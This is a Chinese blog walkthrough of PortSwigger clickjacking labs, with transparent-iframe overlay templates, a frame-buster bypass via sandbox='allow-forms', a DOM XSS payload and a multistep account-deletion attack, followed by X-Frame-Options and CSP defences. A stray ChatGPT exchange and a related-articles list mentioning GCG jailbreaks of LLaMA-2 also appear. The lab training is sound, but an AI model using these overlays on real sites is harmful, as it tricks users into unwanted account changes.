原来我一直被骗了!Burp suite诱导劫持攻击【附工具】

一、点击劫持

     点击劫持是一种基于界面的攻击,用户通过点击诱饵网站中的一些其他内容被诱骗点击隐藏网站上的可操作内容。举例来说,一个网络用户可能会访问一个诱饵网站(可能是通过电子邮件提供的链接),并点击一个按钮以赢取奖品。然而,他们可能会在不知情的情况下点击了另一个隐藏按钮,导致了另一个网站上的帐户被用来支付款项。这就是点击劫持攻击的一个例子。这种攻击技术依赖于将一个不可见但可操作的网页(或多个网页)合并在一起,其中包含一个按钮或者隐藏链接,通常是通过iframe实现的,这个iframe会覆盖在用户预期的诱饵网页内容之上。

点击劫持攻击与CSRF攻击有所不同,因为它需要用户执行点击等操作,而CSRF攻击则是依赖于在用户不知情或不输入的情况下伪造整个请求。

为了防止CSRF攻击,通常会使用CSRF令牌:一种特定于会话、只能使用一次的数字或随机数。然而,CSRF令牌并不能有效地减轻点击劫持攻击,因为目标会话是通过从可信网站加载的内容建立的,所有请求都在域内发生。CSRF令牌会被包含在请求中,并作为正常会话行为的一部分传递给服务器。不同之处在于这个过程发生在隐藏的iframe中,而不是普通用户会话中。

 

二、构造基本的点击劫持攻击

 1、简述:点击劫持攻击使用CSS来创建和操作层。攻击者将目标网站合并为覆盖在诱饵网站上的iframe层。使用style标记和参数的示例如下:
   <head>        <style>            #target_website {                position:relative;                width:128px;                height:128px;                opacity:0.00001;                z-index:2;                }            #decoy_website {                position:absolute;                width:300px;                height:400px;                z-index:1;                }</style>    </head>    ...    <body>        <div id="decoy_website">        ...decoy web content here...        </div>        <iframe id="target_website" src="https://vulnerable-website.com">        </iframe>    </body>

2、点击劫持攻击构造解释:点击劫持攻击使用 CSS 和 HTML 来创建一个层,将目标网站的 iframe 覆盖在诱饵网站上。攻击者需要确保适当的宽度、高度和位置值,使得目标网站的动作与诱饵网站精确重叠,而与用户的屏幕大小、浏览器类型和操作系统无关。以下是构造点击劫持攻击的关键步骤:绝对和相对位置值: 使用绝对和相对位置值来确保目标网站的 iframe 准确地与诱饵网站重叠,这样用户执行操作时会触发目标网站的动作。z-index: 使用 z-index 属性来决定 iframe 和网站层的堆叠顺序,确保目标网站位于上层以被用户点击。Opacity(不透明度): 设置 iframe 的 opacity 值为接近 0 的数值(如 0.00001),使得 iframe 对用户来说是透明的,从而避免用户察觉到点击劫持攻击的存在。浏览器的点击劫持防护可能会根据透明度检测来判断是否触发保护行为,因此攻击者需要选择一个不透明度值,以便在不触发保护行为的情况下实现所需效果。3、Clickbandit工具:手动创建点击劫持攻击概念验证可能会相当乏味和耗时。为了简化测试过程,可以使用 Burp 的 Clickbandit 工具。这个工具允许使用浏览器在可成帧页面上执行所需的操作,然后自动生成包含适当点击劫持覆盖层的 HTML 文件。这样可以在几秒钟内生成交互式概念验证,而无需编写 HTML 或 CSS。4、实验:实验1涉及带有 CSRF 令牌保护的基本点击劫持。实验包含了登录功能和受 CSRF 令牌保护的删除账户按钮。用户需要点击诱饵网站上显示单词“click”的元素来触发攻击。以下是实验步骤的简要说明:登录账号: 用户首先需要登录账号来访问受 CSRF 保护的操作。调整模板: 对模板进行调整,将 iframe 的 src 属性中的 YOUR-LAB-ID 替换为自己的实验室 ID,同时设置合适的像素值和不透明度,以确保目标 iframe 是透明的并且能够被精确定位。
  <style>        iframe {            position:relative;            width:$width_value;            height: $height_value;            opacity: $opacity;            z-index: 2;        }        div {            position:absolute;            top:$top_value;            left:$side_value;            z-index: 1;        }</style>    <div>Test me</div>    <iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
    我的是:<style>    iframe {        position:relative;        width:500px;        height: 700px;        opacity: 0.0001;        z-index: 2;    }    div {        position:absolute;        top:500px;        left:60px;        z-index: 1;    }</style>    <div>Click me</div>    <iframe src="[https://0a11000404d22a86c463666000e90017.web-security

-academy.net/my-account"></iframe>](https://0a11000404d22a86c463666000e90017.web-security-academy.net/my-account"></iframe>)
 

在实验的第二部分中,需要确保正确排列 div 元素,并且当鼠标悬停在 "click me" 上时

,光标应该变为手形,这表示 div 元素已经被正确定位。接下来是将利用漏洞攻击传送给受

害者的步骤。以下是优化后的文章内容:


part2:

请确认 div 元素已正确排列,当鼠标悬停在 "click me" 上时,光标应该变为手

形,这表明 div 元素已被正确定位。如果需要调整,请修改样式表的 top 和 left 属性。

完成排列后,请点击 "Store"。

图片

 完成实验

图片

 

三、使用预填充表单输入的点击劫持

1、简述:一些需要表单完成和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。其他网站可能要求在提交表单之前输入文本。由于 GET 值是 URL 的一部分,因此可以修改目标 URL 以包含攻击者选择的值,并将透明的“提交”按钮覆盖在诱饵站点上,如基本的点击劫持示例所示。

2、涉及实验:

实验2:从 URL 参数预填充表单输入数据的点击劫持

信息:本实验扩展了实验中的基本点击劫持示例:基本的点击劫持与 CSRF 令牌保护。实验的目标是通过使用 URL 参数预填充表单并诱使用户无意中单击“Update email”按钮来更改用户的电子邮件地址。

解决实验:制作一些 HTML 来构建帐户页面,并欺骗用户通过单击“点击我”诱饵来更新他们的电子邮件地址。

已有账号:wiener:peter

part1:

  • 登录账号:首先登录账号以访问用户帐户页面。

  • 调整模板:对模板进行以下调整:

  1. 将 YOUR-LAB-ID 替换为自己的实验室 ID,以便 URL 指向目标网站的用户帐户页面,其中包含 "更新电子邮件" 表单。

  2. 用合适的像素值替换 iframe 的 $height_value 和 $width_value 变量(建议分别为 700px 和 500px)。

  3. 用合适的像素值替换诱饵网页内容的 $top_value 和 $side_value 变量,使 "更新电子邮件" 按钮和 "测试我" 诱饵动作对齐(我们建议分别为 450px 和 80px)。

  4. 设置不透明度值 $opacity 以确保目标 iframe 是透明的。最初,使用 0.1 的不透明度,以便可以对齐 iframe 操作并根据需要调整位置值。对于提交的攻击,值 0.0001 将起作用。

 

 <style>        iframe {            position:relative;            width:$width_value;            height: $height_value;            opacity: $opacity;            z-index: 2;        }        div {            position:absolute;            top:$top_value;            left:$side_value;            z-index: 1;        }</style>    <div>Test me</div>    <iframe src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>     



我的是:

   <style>    iframe {        position:relative;        width:500px;        height: 700px;        opacity: 0.0001;        z-index: 2;    }    div {        position:absolute;        top:450px;        left:80px;        z-index: 1;    }</style>    <div>Click me</div>    <iframe src="[https://0a790033031f7481c04d45b0001b0062.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>](https://0a790033031f7481c04d45b0001b0062.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>)

part2:

点击 "Store",然后点击 "View" 查看漏洞。

将鼠标悬停在 "Test me" 上,确保光标变为手形,这表明 div 元素

已经被正确定位。如果光标没有变成手形,请通过修改样式表的 top

和 left 属性来调整 div 元素的位

图片

图片.png

正确排列div元素后,将"Test me"更改为"Click me",然后单击Store。现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)

图片

图片.png

完成实验

图片

三、帧分解脚本

  1. 简述:

    • 点击劫持攻击可能发生在任何可以被框定的网站上。为了防止这种攻击,常用的客户端保护技术包括帧破坏或帧中断脚本,可以通过JavaScript插件或扩展(如NoScript)实现。这些脚本可以执行以下行为:

    1. 检查并确保当前应用程序窗口是主窗口或顶部窗口;

    2. 使所有帧可见;

    3. 防止对不可见帧的点击;

    4. 拦截并标记潜在的点击劫持攻击。

  2. 帧破坏技术:

    • 帧破坏脚本通常是特定于浏览器和平台的,并且可以通过HTML的灵活性进行绕过。由于framebuster是JavaScript脚本,因此浏览器的安全设置可能会阻止其运行,甚至有些浏览器可能不支持JavaScript。攻击者可以使用HTML5的iframe sandbox属性来对付framebuster脚本,例如,设置sandbox属性为"allow-forms",这样可以防止帧破坏行为,同时允许目标站点内的功能。

  3. 涉及实验:实验3:使用帧破坏脚本进行点击劫持

    • 本实验室受框架破坏器保护,可防止网站被框架破坏。

    • 解决实验:制作HTML构建帐户页面,并欺骗用户通过点击“点击我”来更改他们的电子邮件地址。

    • 已有账号:wiener:peter

 <style>        iframe {            position:relative;            width:$width_value;            height: $height_value;            opacity: $opacity;            z-index: 2;        }        div {            position:absolute;            top:$top_value;            left:$side_value;            z-index: 1;        }</style>    <div>Test me</div>    <iframe sandbox="allow-forms"    src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
    我的是:<style>        iframe {            position:relative;            width:500px;            height: 700px;            opacity: 0.0001;            z-index: 2;        }        div {            position:absolute;            top:450px;            left:80px;            z-index: 1;        }</style>    <div>Click me</div>    <iframe sandbox="allow-forms"    src="[https://0a0f00a603703c46c2fb259800fa00bc.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>](https://0a0f00a603703c46c2fb259800fa00bc.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>)

part2:

完成登录和实验调整后,进行以下操作:

  1. 单击存储,然后单击查看漏洞(view)。

  2. 将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果光标未变为手形,需要通过修改样式表的top和left属性来调整div元素的位置,确保其正确对齐。

  3. 单击“Update email”按钮执行实验。

图片

图片.png

正确排列div元素后,将"Test me"更改为"Click me",然后单击Store现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)

图片

完成实验

图片

四、将点击劫持与DOM结合使用 XSS攻击

1. 简述

点击劫持与DOM XSS攻击的结合可以增强攻击效果。通过点击劫持作为攻击载体,利用用户的点击行为触发DOM XSS漏洞,攻击者可以执行恶意脚本并获取用户敏感信息或执行恶意操作。

2. 涉及实验:实验4:利用点击劫持漏洞触发基于DOM的XSS

信息:本实验包含一个单击即可触发的XSS漏洞。构造一个clickjacking攻击,欺骗用户单击“Click me”按钮以调用print函数。

part1:
  1. 登录账号并转到利用漏洞攻击服务器。

  2. 对模板进行以下调整:

    • 将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的"Submit feedback"页面。

    • 使用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700 px和500 px)。

    • 使用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,使"Submit feedback"按钮和"click me"诱饵动作对齐(分别为610px和80px)。

    • 设置不透明度值$opacity以确保目标iframe是透明的。建议初步使用0.1的不透明度,然后根据需要调整位置值。对于提交的攻击,值0.0001将起作用。

  <style>      iframe {        position:relative;        width:$width_value;        height: $height_value;        opacity: $opacity;        z-index: 2;      }      div {        position:absolute;        top:$top_value;        left:$side_value;        z-index: 1;      }</style>    <div>Test me</div>    <iframe    src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>     


我的是:<style

  iframe {            position:relative;            width:500px;            height: 700px;            opacity: 0.0001;            z-index: 2;        }        div {            position:absolute;            top:610px;            left:80px;            z-index: 1;      }    </style>    <div>click me</div>    <iframe    src="[https://0a5600e703363c7ac24734f9000d00a0.web-security-academy.net/feedback?name=<img](https://0a5600e703363c7ac24734f9000d00a0.web-security-academy.net/feedback?name=<img) src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>     

part2:

单击"存储"按钮后,再单击"查看漏洞(view)"按钮。

请确保在页面上将鼠标悬停在"Test me"按钮上时,光标会变成手形,这表明div元素的位置是正确的。如果光标没有变成手形,则需要通过修改样式表的top和left属性来调整div元素的位置,使其对应于预期的位置。

图片

正确排列div元素后,将"Test me"更改为"Click me",然后单击Store现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)

图片

完成实验

图片

五、多步点击劫持

1、简述:攻击者操纵目标网站的输入可能需要多个操作。例如,攻击者可能希望诱使用户从零售网站购买商品,因此需要在下单之前将商品添加到购物篮中。攻击者可以使用多个division或iframe来实现这些操作。从攻击者的角度来看,此类攻击需要相当的精确性和谨慎性,才能有效和隐蔽。

2、涉及实验:实验5:多步点击劫持

实验5:多步点击劫持信息:本实验包含一些受CSRF令牌保护的帐户功能,还包含一个确认对话框,用于防止点击劫持。

解决实验:设计一个攻击,通过单击“先单击我”和“下一步单击我”诱饵操作,诱骗用户单击删除帐户按钮和确认对话框(需要使用两个元素)。

已有账号:wiener:peter

part1:

登录账号

转到利用漏洞攻击服务器,对模板进行以下调整:

1、将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的用户帐户页面。

2、用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700px和500px)。

3、用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,以便"删除帐户"按钮和"先测试我"诱饵操作对齐(分别为330px和50px)。

4、为$top_value2和$side_value2变量替换一个合适的值,以便"Testmenext"诱饵操作与确认页面上的"Yes"按钮对齐(我们建议分别为285px和225px)。

5、设置不透明度值$opacity以确保目标iframe是透明的。最初,使用0.1的不透明度,以便可以对齐iframe操作并根据需要调整位置值。对于提交的攻击,值0.0001将起作用。


 <style>      iframe {        position:relative;        width:$width_value;        height: $height_value;        opacity: $opacity;        z-index: 2;      }       .firstClick, .secondClick {        position:absolute;        top:$top_value;        left:$side_value;        z-index: 1;      }       .secondClick {        top:$top_value2;        left:$side_value2;      }</style>    <div class="firstClick">Test me first</div>    <div class="secondClick">Test me next</div>    <iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>     


我的是:<style>

  iframe {        position:relative;        width:500px;        height: 700px;        opacity: 0.0001;        z-index: 2;      }       .firstClick, .secondClick {        position:absolute;        top:500px;        left:50px;        z-index: 1;      }       .secondClick {        top:290px;        left:215px;      }    </style>    <div class="firstClick">click me first</div>    <div class="secondClick">click me next</div>    <iframe src="[https://0a3d009e04f7083bc0ac0e680046002a.web-security-academy.net/my-account"></iframe>](https://0a3d009e04f7083bc0ac0e680046002a.web-security-academy.net/my-account"></iframe>)

part2:

单击存储,然后单击查看漏洞(view)
将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果没有,请
通过修改样式表的top和left属性来调整div元素的位置

图片

正确排列div元素后,将"click me"更改为"Click me",然后单击Store现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)

图片

完成实验

图片

六、防止点击劫持攻击 1、简述:1、点击劫持是一种浏览器端行为,其成功与否取决于浏览器的功能以及是否符合流 行的网络标准和最佳实践。通过定义和传达对组件(如iframe)使用的约束,可以提供针对 点击劫持的服务器端保护。但保护的实现取决于浏览器的遵从性和这些约束的实施。服务器端 点击劫持保护的两种机制是X-Frame-Options和Content Security Policy。2、X形 框架-选项 X-Frame-Options最初是作为Internet Explorer 8中的一个非官方响应头引入的, 它很快被其他浏览器采用。标头为网站所有者提供了对iframe或对象使用的控制,以便可以 使用deny指令:X-Frame-Options: deny 或者,可以使用sameorigin指令将框架限制为与网站相同的源 directive X-Frame-Options: sameorigin 或使用allow-from指令:X-Frame-Options: allow-from [https://normal-we bsite.com](https://normal-website.com) X-Frame-Options在不同浏览器之间的实现不一致(允许指令在Chrome版本76或Safa ri 12中不受支持)。然而当与内容安全策略一起作为多层防御策略的一部分正确应用时,它 可以提供针对点击劫持攻击的有效保护 3、内容安全策略(CSP) 1、内容安全策略(CSP)是一种检测和预防机制,可以减轻XSS和点击劫持等攻击。CSP通 常在Web服务器中实现为以下格式的返回头:Content-Security-Policy: policy 2、其中policy是以分号分隔的策略指令字符串。CSP向客户端浏览器提供关于浏览器可应 用于恶意行为的检测和拦截的web资源的许可源的信息 3、点击劫持保护包括frame-ancestors应用程序的内容安全策略中的指令。该frame-a ncestors 'none'指令的行为与X-Frame-Options类似deny指令。该frame-ances tors 'self'指令大致等同于X-Frame-Options 同源指令。以下CSP白名单仅将帧添加 到同一域:Content-Security-Policy: frame-ancestors 'self'; 或框架可以被限制到命名的站点:Content-Security-Policy: frame-ancestor s normal-website.com; 为了有效地对抗点击劫持和XSS,CSP需要仔细的开发、实现和测试,并且应该作为多层防 御策略的一部分使用 优化文章字体内容结构 中文

ChatGPT

Here's an optimized version of the section on preventing Clickjacking attacks:

六、防止点击劫持攻击

1、简述

点击劫持是一种浏览器端攻击,其成功与否取决于浏览器的功能以及是否符合流行的网络标准和最佳实践。通过定义和传达对组件(如iframe)使用的约束,可以提供针对点击劫持的服务器端保护。服务器端点击劫持保护的两种主要机制是X-Frame-Options和内容安全策略(CSP)。

2、X-Frame-Options

X-Frame-Options最初是作为Internet Explorer 8中的一个非官方响应头引入的,后来被其他浏览器采用。它为网站所有者提供了对iframe或对象使用的控制,以便可以使用以下指令:

  • deny:X-Frame-Options: deny

  • sameorigin:X-Frame-Options: sameorigin

  • allow-from:X-Frame-Options: allow-from https://normal-website.com

虽然X-Frame-Options在不同浏览器之间的实现不一致,但与内容安全策略一起正确应用时,可以提供有效保护。

3、内容安全策略(CSP)

CSP是一种检测和预防机制,可以减轻XSS和点击劫持等攻击。它通常在Web服务器中实现为以下格式的返回头:Content-Security-Policy: policy。其中policy是以分号分隔的策略指令字符串,包括frame-ancestors指令用于点击劫持保护。

示例CSP白名单:

  • frame-ancestors 'self':只允许来自同一域的框架。

  • frame-ancestors normal-website.com:限制框架到指定的站点。

为了有效对抗点击劫持和XSS,CSP需要仔细的开发、实现和测试,并且应该作为多层防御策略的一部分使用。

 

文中工具获取

公众号:【吉吉说安全】,对我发消息【20240419】免费获取

「你即将失去如下所有学习变强机会」

学习效率低,学不到实战内容,花几千、上万报机构没有性价比

一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任

【详情下方图片了解】,【扫下方二维码加入】:只做高质量优质精品内容」

图片

 

免费红队知识库:

图片

图片

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/559318.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C语言---贪吃蛇(二)---逻辑和代码的实现

文章目录 前言1.准备工作2.蛇的相关属性3.游戏流程设计3.1.游戏开始(GameStart)3.1.1.设置光标位置3.1.2.隐藏光标3.1.3.打印欢迎界面3.1.4.创建地图3.1.5.初始化蛇身3.1.6.创建食物 3.2.游戏运行(GameRun)3.2.1.打印信息栏3.2.2.蛇身的移动3.2.2.1.判断下一个结点是否为食物3.…

【Linux】iptables的应用

iptables 防火墙 防火墙是一种网络安全系统&#xff0c;它位于内部网络与外部网络&#xff08;如互联网&#xff09;之间&#xff0c;通过实施预定义的安全策略来控制网络间的通信。防火墙的主要目标是保护内部网络资源免受未经授权的访问、攻击或潜在威胁&#xff0c;同时允…

FFmpeg源码编译

msys2 依赖环境安装 依赖环境安装编译X264编译 fdk-aac文件处理编译x265编译FFmpeg 依赖环境安装 编译X264 用于h264 AVC视频格式编码 CCcl ./configure --enable-shared #指定使用cl,编译成动态链接库 make -j32 #使用32线程进行编码 make install命令一 关于第一条命令执…

VUE的import store from ‘./vuex/store改为‘ import store from ‘./vuex/store.js‘

ERROR Failed to compile with 1 error 下午5:25:40 error in (webpack)-dev-server/client?http://10.18.173.180:8081/sockjs-node Syntax Error: no such file or directory, open D:\4myroom\H…

2024年,新手做抖店千万犯这几点错误,轻则保证金,重则封店!

哈喽~我是电商月月 很多做抖音小店的新手朋友都忽略了违规操作这一部分&#xff0c;交完保证金以为后续不开了保证金还能退回&#xff1f;别天真了&#xff01; 不了解抖音小店的行为规则&#xff0c;违规了不仅保证金没了&#xff0c;严重的话&#xff0c;店铺都开不下去&am…

【精简改造版】大型多人在线游戏BrowserQuest服务器Golang框架解析(2)——服务端架构

1.架构选型 B/S架构&#xff1a;支持PC、平板、手机等多个平台 2.技术选型 &#xff08;1&#xff09;客户端web技术&#xff1a; HTML5 Canvas&#xff1a;支持基于2D平铺的图形引擎 Web workers&#xff1a;允许在不减慢主页UI的情况下初始化大型世界地图。 localStorag…

谷雨,春天的最后一次回眸

人生并不像火车要通过每个站似的经过每一个生活阶段。 今日谷雨&#xff0c;这不是技术文&#xff0c;是码哥的碎碎念 谷雨猕漫着芭蕉的味道动了心成了情白素贞的姻以伞结缘可天若无雨地上无伞断桥未断过客&#xff0c;能留下一段传奇吗&#xff1f;或许难难 倘若在江城边不是西…

盲人购物指南:智能化辅助引领超市购物新体验

作为一名资深记者&#xff0c;我有幸见证了一位盲人朋友借助一款名为蝙蝠避障的高科技辅助应用&#xff0c;独立完成超市购物之旅&#xff0c;这一过程充分展示了盲人购物指南新时代的到来。 在前往超市的路上&#xff0c;这款应用犹如一位贴心的“电子向导”&#xff0c;实时为…

编程范式之函数编程

文章目录 **核心概念****特征****优点****示例语言**案例 函数编程&#xff08;Functional Programming, FP&#xff09;是一种编程范式&#xff0c;它强调程序由一系列不可变的值和纯函数&#xff08;Pure Function&#xff09;组成&#xff0c;尽量避免副作用&#xff08;Sid…

Zynq7000系列中PL时钟使用

可编程逻辑&#xff08;PL&#xff09;具有自己的时钟管理生成和分配功能&#xff0c;并从处理器系统&#xff08;PS&#xff09;中的时钟发生器接收四个时钟信号&#xff08;如图25-10所示&#xff09;。 在嵌入式系统中&#xff0c;PL时钟的管理和分配对于确保逻辑电路的正确…

微波炉定时器开关

微波炉火力调节开关及定时器开关内部结构 参考链接&#xff1a; 微波炉火力调节开关及定时器开关判断好坏小经验-百度经验 (baidu.com)https://jingyan.baidu.com/article/5d6edee2d175c399eadeecfd.html微波炉拆解图示&#xff0c;微波炉结构原理&#xff0c;轻松玩转微波炉维…

使用eNSP配置OSPF多区域实验

一、实验拓扑 二、实验要求 1、R4为ISP&#xff0c;其上只配置IP地址&#xff1b;R4与其他所直连设备间均使用公有IP&#xff1b; 2、R3-R5、R6、R7为MGRE环境&#xff0c;R3为中心站点&#xff1b; 3、整个OSPF环境IP基于172.16.0.0/16划分&#xff1b;除了R12有两个环回&…

HWOD:字符串字符匹配

一、知识点 c语言中&#xff0c;判断一个字符串中是否含有某字符是很容易的&#xff0c;不需要知道字符串的长度 i0; while(c ! str[i] && str[i] ! \0){ i; } if(str[i] \0){ return false; } return true; 二、题目 1、描述 判断短字符串S中的所有字符…

【C++题解】1020. 算算和是多少

问题&#xff1a;1020. 算算和是多少 类型&#xff1a;基本运算、拆位求解 题目描述&#xff1a; 输入一个三位正整数&#xff0c;然后与它倒过来的数相加&#xff0c;输出和。 如&#xff1a;输入167 &#xff0c;则和为167761928。 输入&#xff1a; 只有一行&#xff0c…

Python数据可视化库—Bokeh与Altair指南

&#x1f47d;发现宝藏 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 在数据科学和数据分析领域&#xff0c;数据可视化是一种强大的工具&#xff0c;可以帮助我们…

Brainpan(VulnHub)

Brainpan 1、nmap 2、web渗透 随便看看 目录爆破 使用不同工具&#xff0c;不同字典进行爆破 9999端口分析 10000端口分析 字符串信息中&#xff0c;提示这个程序不能运行在DOS模式下&#xff0c;然后有32个A&#xff0c;还有一行关于复制字节到缓冲区的信息&#xff0c;还有一…

【吊打面试官系列】Java高并发篇 - 如何停止一个正在运行的线程?

大家好&#xff0c;我是锋哥。今天分享关于 【如何停止一个正在运行的线程&#xff1f;】面试题&#xff0c;希望对大家有帮助&#xff1b; 如何停止一个正在运行的线程&#xff1f; java如何停止一个正在运行的线程? 在Java中&#xff0c;可以使用Thread.stop()方法来停止一…

大语言模型攻击

实验&#xff1a; 一.环境部署 1.模型部署 vicuna-13b-v1.3 vicuna-7b-v1.3 LLaMA-2-7B-Chat 部署代码 二.使用 GCG 攻击 LLaMA-2 的示例 使用模型完整性&#xff0c;以满足指令“写一个令人信服的匿名威胁。”下面的目标使用“当然&#xff0c;这是一个令人信服的匿名死亡…

网络行为分析与异常检测

构建防火墙和使用简单的安全解决方案不足以保护网络免受网络异常或攻击&#xff0c;因为DDoS攻击、未知恶意软件和其他安全威胁一直在上升&#xff0c;改变了网络安全格局。网络管理员必须积极主动地分析网络&#xff0c;获得对网络的完全控制&#xff0c;并全面了解网络流量活…

C++ | Leetcode C++题解之第38题外观数列

题目&#xff1a; 题解&#xff1a; class Solution { public:string countAndSay(int n) {string prev "1";for (int i 2; i < n; i) {string curr "";int start 0;int pos 0;while (pos < prev.size()) {while (pos < prev.size() &&…
最新文章